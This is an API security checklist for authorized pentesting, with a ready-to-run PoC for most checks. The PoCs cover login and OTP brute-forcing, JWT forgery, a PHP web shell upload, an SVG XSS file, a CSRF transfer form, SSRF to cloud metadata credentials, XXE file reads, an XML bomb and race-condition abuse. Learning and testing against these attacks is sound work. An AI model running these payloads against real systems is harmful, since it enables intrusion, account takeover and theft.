A "How to Test" note plus a ready-to-fire PoC command (curl/tool) has been added to every check, so the checklist isn't just a reference — it can be copy-pasted and used directly during an actual pentest. Replace placeholders like
TARGET,TOKEN,IDwith your engagement's actual values. Run destructive/DoS-type PoCs only within authorized scope and with rate-limiting/caution.
- Fuzz for hidden/undocumented APIs at multiple levels (
/api/v1/,/api/v2/,/internal/,/admin-api/).- How to test:
ffuf/gobusterwith API wordlists; check JS files (viaLinkFinder,JSFScan) for hidden endpoint refs; check Swagger/OpenAPI/GraphQL introspection leaks. - PoC:
ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,401,403 -t 50
- How to test:
- Enumerate restricted endpoints — try bypassing with path tricks:
/admin,/admin/,/admin..;/,/admin%20,/admin%09,/ADMIN,//admin,/admin/.,/admin;/.- How to test: Burp Intruder with a path-bypass payload list; check response length/status diff instead of trusting 403 alone.
- PoC:
for p in "admin" "admin/" "admin..;/" "admin%20" "admin%09" "ADMIN" "//admin" "admin/." "admin;/"; do echo "== /$p =="; curl -s -o /dev/null -w "%{http_code} %{size_download}\n" "https://TARGET/api/v1/$p" done
- Add/modify parameters for privilege changes —
&admin=true,&role=admin,&isAdmin=1,&debug=true.- How to test: Param mining tools (
Arjun,ParamSpider), then manually test each discovered param for auth/logic bypass. - PoC:
arjun -u https://TARGET/api/v1/profile -m GET --headers "Authorization: Bearer TOKEN" curl -s "https://TARGET/api/v1/profile?admin=true&role=admin&isAdmin=1&debug=true" -H "Authorization: Bearer TOKEN"
- How to test: Param mining tools (
- Find API version differences — old versions (
/v1/) often have weaker controls than/v2/.- How to test: Try every version prefix on every discovered endpoint; diff behavior/response.
- PoC:
for v in v1 v2 v3 beta internal; do curl -s -o /dev/null -w "$v => %{http_code}\n" "https://TARGET/api/$v/users/1" done
- Check for exposed API docs/specs — Swagger UI,
/swagger.json,/openapi.yaml,/graphql(introspection), Postman collections leaked in JS/GitHub.- How to test:
gau/waybackurls+ grep for.json/.yamlspec files; GitHub dorking for leaked collections. - PoC:
for p in swagger.json swagger-ui.html openapi.yaml openapi.json api-docs v2/api-docs; do curl -s -o /dev/null -w "$p => %{http_code}\n" "https://TARGET/$p" done echo '{"query":"{__schema{types{name}}}"}' | curl -s -X POST https://TARGET/graphql -H "Content-Type: application/json" -d @-
- How to test:
- Don't use Basic Auth — use standards like JWT/OAuth2 instead.
- How to test: Check
Authorizationheader scheme; Basic Auth = instant finding (creds in base64, no expiry). - PoC:
curl -s -I https://TARGET/api/v1/users | grep -i "www-authenticate" # If seen: WWW-Authenticate: Basic realm="..." -> decode any captured header: echo "dXNlcjpwYXNz" | base64 -d
- How to test: Check
- Don't roll custom auth/token-generation/password-storage — use vetted libraries.
- How to test: Look at token format/entropy; predictable tokens (sequential, timestamp-based, weak randomness) = brute-forceable. Test with Burp Sequencer.
- PoC: Collect 20-30 fresh tokens, feed into Burp Sequencer's "manual load" for entropy analysis.
- Max retry + account lockout on login.
- How to test: Automate login attempts (Burp Intruder/ffuf), check if lockout triggers after N tries; also test if lockout is bypassable via IP rotation or X-Forwarded-For spoofing.
- PoC:
for i in $(seq 1 20); do curl -s -o /dev/null -w "%{http_code}\n" -X POST https://TARGET/api/v1/login \ -H "Content-Type: application/json" -d '{"username":"victim","password":"guess'"$i"'"}' \ -H "X-Forwarded-For: 1.2.3.$i" done
- Encrypt all sensitive data in transit and at rest.
- How to test: Check TLS config (see Access section); check DB/response for plaintext secrets.
- Reject reused/old session tokens after logout or password change.
- How to test: Capture token, logout, replay the same token — should be invalidated (401/403).
- PoC:
curl -s -X POST https://TARGET/api/v1/logout -H "Authorization: Bearer TOKEN" curl -s -o /dev/null -w "%{http_code}\n" https://TARGET/api/v1/profile -H "Authorization: Bearer TOKEN" # Expect 401 — if 200, token reuse vuln confirmed
- (Added) No user enumeration via login/forgot-password responses.
- How to test: Compare response time/message for valid vs invalid usernames — any diff = enumeration vuln.
- PoC:
curl -s -o /tmp/valid.json -w "%{time_total}\n" -X POST https://TARGET/api/v1/forgot-password -d '{"email":"known_valid@x.com"}' -H "Content-Type: application/json" curl -s -o /tmp/invalid.json -w "%{time_total}\n" -X POST https://TARGET/api/v1/forgot-password -d '{"email":"doesnotexist@x.com"}' -H "Content-Type: application/json" diff /tmp/valid.json /tmp/invalid.json
- (Added) MFA/2FA bypass checks — response manipulation, missing rate limit on OTP, OTP reusability.
- How to test: Brute force OTP field (usually 4-6 digit, no rate limit = crackable); try skipping the MFA step by directly hitting the post-auth endpoint.
- PoC:
for otp in $(seq -w 0000 9999); do code=$(curl -s -o /dev/null -w "%{http_code}" -X POST https://TARGET/api/v1/verify-otp -d "{\"otp\":\"$otp\",\"session\":\"SESSION_ID\"}" -H "Content-Type: application/json") [ "$code" == "200" ] && echo "FOUND: $otp" && break done
- Strong random JWT secret (long, high entropy) to resist brute force.
- How to test:
hashcat/johnwithjwt_secrets.txtwordlist against HS256 tokens. - PoC:
hashcat -a 0 -m 16500 jwt.txt jwt_secrets.txt
- How to test:
- Force algorithm server-side — never trust
algfrom token header.- How to test: Test
alg: noneattack (strip signature); test RS256→HS256 confusion (sign with public key as HMAC secret) usingjwt_tool. - PoC:
python3 jwt_tool.py TOKEN -X a # alg:none attack python3 jwt_tool.py TOKEN -X k -pk public_key.pem # RS256->HS256 confusion
- How to test: Test
- Short TTL / RTTL on access & refresh tokens.
- How to test: Decode token, check
expclaim; test if expired token is still accepted by the API (server-side validation, not just client-side). - PoC:
python3 -c "import jwt; print(jwt.decode('TOKEN', options={'verify_signature': False}))"
- How to test: Decode token, check
- No sensitive data in payload — it's Base64, not encrypted.
- How to test: Decode JWT at jwt.io /
jwt_tool -T; look for PII, internal IDs, roles, secrets. - PoC:
python3 jwt_tool.py TOKEN -T
- How to test: Decode JWT at jwt.io /
- Keep payload small — headers have size limits.
- (Added) Kid (Key ID) header injection / path traversal.
- How to test: Modify
kidheader to point to a known file (../../dev/null) or SQLi inkidparam —jwt_toolhas automated checks (-X k). - PoC:
python3 jwt_tool.py TOKEN -X k
- How to test: Modify
- (Added) JWK header injection — attacker embeds their own public key in
jwkheader.- How to test:
jwt_tool -X ito auto-test JWK/JKU injection. - PoC:
python3 jwt_tool.py TOKEN -X i
- How to test:
- (Added) Signature not verified at all.
- How to test: Change payload, keep old signature — if accepted, signature isn't verified server-side.
- PoC:
# Decode header.payload, modify a claim (e.g. role), re-base64, keep original signature segment, replay: curl -s https://TARGET/api/v1/profile -H "Authorization: Bearer <header>.<tampered_payload>.<original_sig>"
- Further reading: https://www.invicti.com/blog/web-security/json-web-token-jwt-attacks-vulnerabilities/
- Rate limiting / throttling to prevent brute-force & DDoS.
- How to test: Fire 100+ rapid requests (Burp Turbo Intruder/
wrk); check if 429 kicks in; also test rate-limit bypass via header spoofing (X-Forwarded-For,X-Real-IProtation). - PoC:
wrk -t4 -c50 -d10s -H "Authorization: Bearer TOKEN" https://TARGET/api/v1/login for i in $(seq 1 50); do curl -s -o /dev/null -w "%{http_code}\n" https://TARGET/api/v1/login -H "X-Forwarded-For: 10.0.0.$i"; done
- How to test: Fire 100+ rapid requests (Burp Turbo Intruder/
- HTTPS with TLS 1.2+, secure ciphers only.
- How to test:
testssl.sh/sslyze/nmap --script ssl-enum-ciphers. - PoC:
testssl.sh --fast TARGET:443 nmap --script ssl-enum-ciphers -p 443 TARGET
- How to test:
- HSTS header to prevent SSL stripping.
- How to test: Check
Strict-Transport-Securityheader presence +max-agevalue. - PoC:
curl -s -I https://TARGET | grep -i strict-transport-security
- How to test: Check
- Directory listing disabled.
- How to test: Browse to known dirs (
/uploads/,/backup/) and check for index listing. - PoC:
curl -s https://TARGET/uploads/ | grep -i "Index of"
- How to test: Browse to known dirs (
- IP allowlisting for private/internal APIs.
- How to test: Try accessing internal-looking endpoints from external IP; check for SSRF pivot to reach internal-only APIs.
- Validate
redirect_uriserver-side against an allowlist (exact match, not just substring/regex).- How to test: Try open-redirect style bypasses — subdomain,
@trick (evil.com@legit.com), path traversal, extra params. - PoC:
curl -s "https://TARGET/oauth/authorize?client_id=APP&redirect_uri=https://evil.com&response_type=code&state=x" curl -s "https://TARGET/oauth/authorize?client_id=APP&redirect_uri=https://legit.com@evil.com&response_type=code&state=x"
- How to test: Try open-redirect style bypasses — subdomain,
- Use
codeflow, nottokenflow (response_type=tokenshould be disabled).- How to test: Check
response_typeparam support; implicit flow = token exposed in URL/history. - PoC:
curl -s "https://TARGET/oauth/authorize?client_id=APP&redirect_uri=https://legit.com/cb&response_type=token"
- How to test: Check
-
stateparameter with random hash to prevent CSRF in OAuth flow.- How to test: Remove/replay
stateparam and see if flow still completes = CSRF-able. - PoC:
curl -s "https://TARGET/oauth/authorize?client_id=APP&redirect_uri=https://legit.com/cb&response_type=code" # no state param
- How to test: Remove/replay
- Default scope defined + validate scope param per app.
- How to test: Request elevated scopes not originally granted to the client app; see if server honors them (scope escalation).
- PoC:
curl -s "https://TARGET/oauth/authorize?client_id=APP&scope=read+write+admin&response_type=code&redirect_uri=https://legit.com/cb"
- (Added) PKCE for public/mobile clients.
- How to test: Intercept auth code exchange — if no
code_verifier/code_challenge, mobile app token theft is trivial. - PoC:
curl -s -X POST https://TARGET/oauth/token -d "grant_type=authorization_code&code=STOLEN_CODE&client_id=APP&redirect_uri=https://legit.com/cb" # If no code_verifier required and token issued -> PKCE missing
- How to test: Intercept auth code exchange — if no
- (Added) Broken Object Level Authorization (BOLA/IDOR) — user A can access user B's resource by changing an ID.
- How to test: Login as two users, swap IDs (numeric, UUID, GUID) across every endpoint (
GET/PUT/DELETE /orders/{id}); use Burp's "Autorize" extension to automate. - PoC:
curl -s https://TARGET/api/v1/orders/1234 -H "Authorization: Bearer USER_A_TOKEN" curl -s https://TARGET/api/v1/orders/1234 -H "Authorization: Bearer USER_B_TOKEN" # should be 403, not 200
- How to test: Login as two users, swap IDs (numeric, UUID, GUID) across every endpoint (
- (Added) Broken Function Level Authorization (BFLA) — normal user can call admin-only endpoints/methods.
- How to test: As low-priv user, replay admin-captured requests; try method switching (
GET→POST/DELETE) on same endpoint. - PoC:
curl -s -X DELETE https://TARGET/api/v1/admin/users/5 -H "Authorization: Bearer LOWPRIV_TOKEN"
- How to test: As low-priv user, replay admin-captured requests; try method switching (
- IDOR in body/header is riskier than in URL since it's less likely to be logged/tested — e.g.
{"id":{"id":111}}.- How to test: Manually inspect JSON body for nested/duplicate ID fields; fuzz each with other users' IDs.
- PoC:
curl -s -X POST https://TARGET/api/v1/orders/view -H "Authorization: Bearer USER_B_TOKEN" -H "Content-Type: application/json" -d '{"id":{"id":1234}}'
- Sanitize input / escape unsafe characters.
- Enforce correct HTTP method per operation — 405 for wrong method.
- How to test: Method-switch every endpoint (
GET/POST/PUT/PATCH/DELETE/OPTIONS/TRACE) via Burp; look for verb tampering auth bypass. - PoC:
for m in GET POST PUT PATCH DELETE OPTIONS TRACE; do curl -s -o /dev/null -w "$m => %{http_code}\n" -X $m https://TARGET/api/v1/admin/settings done
- How to test: Method-switch every endpoint (
- Validate
Acceptheader / content negotiation — 406 if unsupported.- PoC:
curl -s -o /dev/null -w "%{http_code}\n" https://TARGET/api/v1/users -H "Accept: application/xxx"
- PoC:
- Validate
Content-Typeof posted data.- How to test: Send JSON body but with
Content-Type: application/xmlor vice versa; check for parser confusion / XXE trigger via content-type swap. - PoC:
curl -s -X POST https://TARGET/api/v1/users -H "Content-Type: application/xml" -d '{"name":"test"}'
- How to test: Send JSON body but with
- Validate input against XSS, SQLi, RCE, SSTI, etc.
- How to test: Standard payload lists (
SecLists/Fuzzing),sqlmapfor SQLi, manual SSTI probes ({{7*7}}), command injection chaining (; whoami,| id). - PoC:
sqlmap -u "https://TARGET/api/v1/users?id=1" --headers="Authorization: Bearer TOKEN" --batch --level=3 curl -s "https://TARGET/api/v1/search?q={{7*7}}" -H "Authorization: Bearer TOKEN" # SSTI probe, expect '49' if vuln
- How to test: Standard payload lists (
- No sensitive data in URL — creds/tokens/API keys go in headers, not query string.
- How to test: Check access logs/proxy history/browser history for tokens in URLs; check Referer leakage when navigating away.
- PoC:
grep -iE "token=|api_key=|password=" burp_proxy_history.txt
- Don't trust
Refererheader for security decisions. - Server-side encryption only (don't rely on client-side crypto for security).
- Use an API Gateway for caching, rate-limit policies (Quota/Spike Arrest/Concurrency Limit).
- Test file upload endpoints — extension bypass, MIME spoofing, path traversal in filename, oversized files, decompression bombs, polyglot files, stored XSS via SVG.
- How to test: Upload
.php.jpg, double extensions, null-byte tricks, SVG with embedded JS, zip-bomb for DoS. - PoC:
echo '<?php system($_GET["c"]); ?>' > shell.php.jpg curl -s -F "file=@shell.php.jpg" https://TARGET/api/v1/upload -H "Authorization: Bearer TOKEN" printf '<svg onload=alert(1) xmlns="http://www.w3.org/2000/svg"></svg>' > x.svg curl -s -F "file=@x.svg" https://TARGET/api/v1/upload -H "Authorization: Bearer TOKEN"
- How to test: Upload
- CSRF check — if API auth relies on cookies/session shared with web app, it's CSRF-able.
- How to test: Build a cross-site auto-submit HTML form/fetch and check if the state-changing request succeeds without a CSRF token/SameSite protection.
- PoC:
<form action="https://TARGET/api/v1/transfer" method="POST"> <input type="hidden" name="to" value="attacker_account"> <input type="hidden" name="amount" value="1000"> </form> <script>document.forms[0].submit()</script>
- IDOR in body/header (see BOLA section above).
- (Added) Mass Assignment — API blindly binds all JSON fields to internal object (e.g. sending
"role":"admin"in a signup request).- How to test: Add extra unexpected fields to requests (
isAdmin,role,balance,verified) and see if they get applied. - PoC:
curl -s -X POST https://TARGET/api/v1/register -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"Pass123!","role":"admin","isVerified":true}'
- How to test: Add extra unexpected fields to requests (
- (Added) SSRF via any URL-accepting parameter (webhooks, avatar-by-URL, PDF generators, import-from-URL).
- How to test: Point param to
http://169.254.169.254/latest/meta-data/(cloud metadata) or internal IP/localhost + OOB via Burp Collaborator. - PoC:
curl -s -X POST https://TARGET/api/v1/avatar -H "Authorization: Bearer TOKEN" -H "Content-Type: application/json" \ -d '{"image_url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' curl -s -X POST https://TARGET/api/v1/webhook-test -d '{"url":"http://YOUR_COLLAB_ID.oastify.com"}' -H "Content-Type: application/json"
- How to test: Point param to
- (Added) GraphQL-specific checks — introspection enabled in prod, batching/alias abuse for rate-limit bypass, deep nested query DoS.
- How to test:
graphql-cop/InQLfor introspection + automated vuln checks; craft deeply nested query to test resource exhaustion. - PoC:
python3 graphql-cop.py -t https://TARGET/graphql
- How to test:
- Every endpoint behind authentication — no forgotten public endpoint.
- How to test: Diff authenticated vs unauthenticated response for every discovered endpoint.
- PoC:
curl -s -o /dev/null -w "auth: %{http_code}\n" https://TARGET/api/v1/orders -H "Authorization: Bearer TOKEN" curl -s -o /dev/null -w "noauth: %{http_code}\n" https://TARGET/api/v1/orders
- Avoid exposing own resource ID — prefer
/me/ordersover/user/654321/orders. - No auto-increment IDs — use UUIDs (prevents enumeration).
- How to test: If IDs are sequential integers, enumerate ±N to harvest other users' data (classic IDOR amplifier).
- PoC:
for id in $(seq 1000 1010); do curl -s https://TARGET/api/v1/orders/$id -H "Authorization: Bearer TOKEN"; done
- Disable XML external entity parsing (XXE).
- How to test: Send XXE payload wherever XML is accepted.
- PoC:
curl -s -X POST https://TARGET/api/v1/import -H "Content-Type: application/xml" -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>'
- Disable entity expansion (Billion Laughs / XML bomb).
- How to test: Send nested entity-expansion payload; watch for CPU/memory spike or timeout (DoS confirmation, be careful in prod).
- PoC: (only in authorized/staging scope)
<?xml version="1.0"?> <!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">]> <lolz>&lol2;</lolz>
- Use a CDN for file uploads (isolates from origin).
- Use workers/queues for heavy processing to avoid blocking requests.
- DEBUG mode OFF in production.
- How to test: Trigger an error (bad input, 500) and check if stack trace / debug page (e.g. Django DEBUG, Flask Werkzeug console, Laravel
.envdump) leaks. - PoC:
curl -s "https://TARGET/api/v1/users/'" -H "Authorization: Bearer TOKEN" # malformed input to force error curl -s https://TARGET/.env
- How to test: Trigger an error (bad input, 500) and check if stack trace / debug page (e.g. Django DEBUG, Flask Werkzeug console, Laravel
- Non-executable stacks where applicable (binary/native API backends).
- Test unexpected method on discovered resource — e.g. found
GET /api/v1/users/, also tryDELETE/POST/PUTon it. - (Added) Race conditions / TOCTOU on sensitive actions (coupon redemption, wallet top-up, voting, limited-stock purchase).
- How to test: Burp Turbo Intruder /
race-the-web— fire the same request 20-50 times in parallel, check if limit is bypassed. - PoC:
for i in $(seq 1 30); do curl -s -X POST https://TARGET/api/v1/coupon/redeem -H "Authorization: Bearer TOKEN" -d '{"code":"SAVE50"}' -H "Content-Type: application/json" & done wait
- How to test: Burp Turbo Intruder /
- (Added) Business logic abuse (negative quantity, price manipulation, discount stacking, skipping workflow steps).
- How to test: Manually walk the multi-step flow out of order; tamper price/qty fields client-side before submit.
- PoC:
curl -s -X POST https://TARGET/api/v1/cart/add -H "Authorization: Bearer TOKEN" -H "Content-Type: application/json" \ -d '{"product_id":101,"quantity":-5,"price":0.01}'
-
X-Content-Type-Options: nosniff -
X-Frame-Options: deny -
Content-Security-Policy: default-src 'none'(tune per API needs) - Remove fingerprinting headers —
X-Powered-By,Server,X-AspNet-Version.- How to test:
curl -Ievery endpoint; note tech/version leaks that aid targeted exploit selection. - PoC:
curl -s -I https://TARGET/api/v1/users | grep -iE "powered-by|^server:|aspnet"
- How to test:
- Force correct
Content-Typematching actual response body. - No sensitive data in responses — creds, passwords, tokens, internal stack traces, PII beyond need.
- How to test: Diff full JSON response vs what's rendered in UI — APIs often over-return fields ("excessive data exposure", OWASP API3) not shown on frontend but visible in raw response.
- PoC:
curl -s https://TARGET/api/v1/profile -H "Authorization: Bearer TOKEN" | python3 -m json.tool # then manually diff against what the UI actually displays
- Correct HTTP status codes for each operation.
- DoS-safe limit/pagination params — reject absurd values like
?limit=9999999999.- How to test: Send huge
limit/page_sizevalues, check for timeout/OOM/slow response (resource exhaustion). - PoC:
curl -s -o /dev/null -w "time: %{time_total}\n" "https://TARGET/api/v1/news?limit=9999999999" -H "Authorization: Bearer TOKEN"
- How to test: Send huge
- (Added) CORS misconfiguration — reflecting arbitrary
OriginwithAccess-Control-Allow-Credentials: true.- How to test: Send
Origin: https://evil.comand check if it's reflected back with credentials allowed = account takeover via cross-origin read. - PoC:
curl -s -I https://TARGET/api/v1/profile -H "Origin: https://evil.com" -H "Authorization: Bearer TOKEN" | grep -i "access-control"
- How to test: Send
- Centralized logging across all services/components.
- Traffic/error/request monitoring agents.
- Alerting — SMS, Slack, Email, Telegram, Kibana, CloudWatch, etc.
- No sensitive data in logs — credit cards, passwords, PINs, tokens.
- How to test: If you get any log/error-dump access during testing, grep for
password,token,card,secret. - PoC:
grep -iE "password|token|card|secret" leaked_logs.txt
- How to test: If you get any log/error-dump access during testing, grep for
- IDS/IPS for API traffic and instances.
- (Added) Alerting doesn't itself leak data — e.g. Slack webhook messages containing full request bodies with PII.
- https://github.com/chrislockard/api_wordlist
- https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common-api-endpoints-mazen160.txt
- https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content/api
- https://github.com/fuzzdb-project/fuzzdb/blob/master/discovery/common-methods/common-methods.txt
| Purpose | Tools |
|---|---|
| Endpoint discovery/fuzzing | ffuf, gobuster, Arjun, ParamSpider, kiterunner |
| JWT attacks | jwt_tool, jwt.io, hashcat |
| Auth/BOLA/BFLA automation | Burp Autorize, Burp Turbo Intruder |
| TLS testing | testssl.sh, sslyze, nmap --script ssl-enum-ciphers |
| SQLi | sqlmap |
| SSRF OOB | Burp Collaborator, interactsh |
| GraphQL | graphql-cop, InQL, graphw00f |
| Race conditions | Burp Turbo Intruder, race-the-web |
| Recon | httpx, katana, gau, waybackurls, subfinder |
- Web API Pentesting — https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/web-api-pentesting
- Resources & tools — https://www.apisec.ai/blog/api-security-checklist
- Common endpoints wordlist — https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common-api-endpoints-mazen160.txt
- API development tools collection — https://github.com/yosriady/api-development-tools
- Full checklist source — https://github.com/shieldfy/API-Security-Checklist
- OWASP API Security Top 10 (2023) — cross-reference for BOLA, BFLA, Mass Assignment, Excessive Data Exposure categories used above